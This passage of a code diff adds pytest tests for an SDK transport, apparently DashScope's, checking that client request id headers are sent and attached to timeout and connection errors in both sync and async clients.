sent + assert exc_info.value.request_id == sent + assert sent in str(exc_info.value) + + +def test_timeout_error_carries_the_client_request_id(no_sleep): + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectTimeout("slow")], max_retries=0) + with pytest.raises(APITimeoutError) as exc_info: + t.request("GET", "/x") + assert ( + exc_info.value.request_id + == rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + ) + + +def test_stream_connection_error_carries_the_client_request_id(no_sleep): + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectError("boom")], max_retries=0) + with pytest.raises(APIConnectionError) as exc_info: + t.open_stream("POST", "/x") + assert ( + exc_info.value.request_id + == rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + ) + + +def test_no_client_request_id_on_errors_when_headers_disabled( + monkeypatch, + no_sleep, +): + # An id that never went on the wire cannot be looked up, so reporting + # it would point at nothing. + monkeypatch.setenv("DASHSCOPE_DISABLE_SDK_HEADERS", "1") + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectError("boom")], max_retries=0) + with pytest.raises(APIConnectionError) as exc_info: + t.request("GET", "/x") + assert CLIENT_REQUEST_ID_HEADER not in rec.requests[0].headers + assert exc_info.value.request_id is None + + +@pytest.mark.asyncio +async def test_async_client_request_id(no_sleep): + rec = _Recorder() + mock = httpx.MockTransport(rec.handler([])) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + t = AsyncTransport(base_url=BASE_URL, http_client=http_client) + await t.request("GET", "/x") + response = await t.open_stream("GET", "/x") + await response.aclose() + first = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + second = rec.requests[1].headers[CLIENT_REQUEST_ID_HEADER] + assert uuid.UUID(first).hex == first + assert first != second + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_connection_error_carries_the_client_request_id(no_sleep): + rec = _Recorder() + mock = httpx.MockTransport(rec.handler([httpx.ConnectError("boom")])) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + t = AsyncTransport( + base_url=BASE_URL, + http_client=http_client, + max_retries=0, + ) + with pytest.raises(APIConnectionError) as exc_info: + await t.request("GET", "/x") + assert ( + exc_info.value.request_id + == rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + ) + await t.aclose() + + def test_sdk_session_id_cached_per_process(): from dashscope._shared import _sdk_session from dashscope.transport import _ident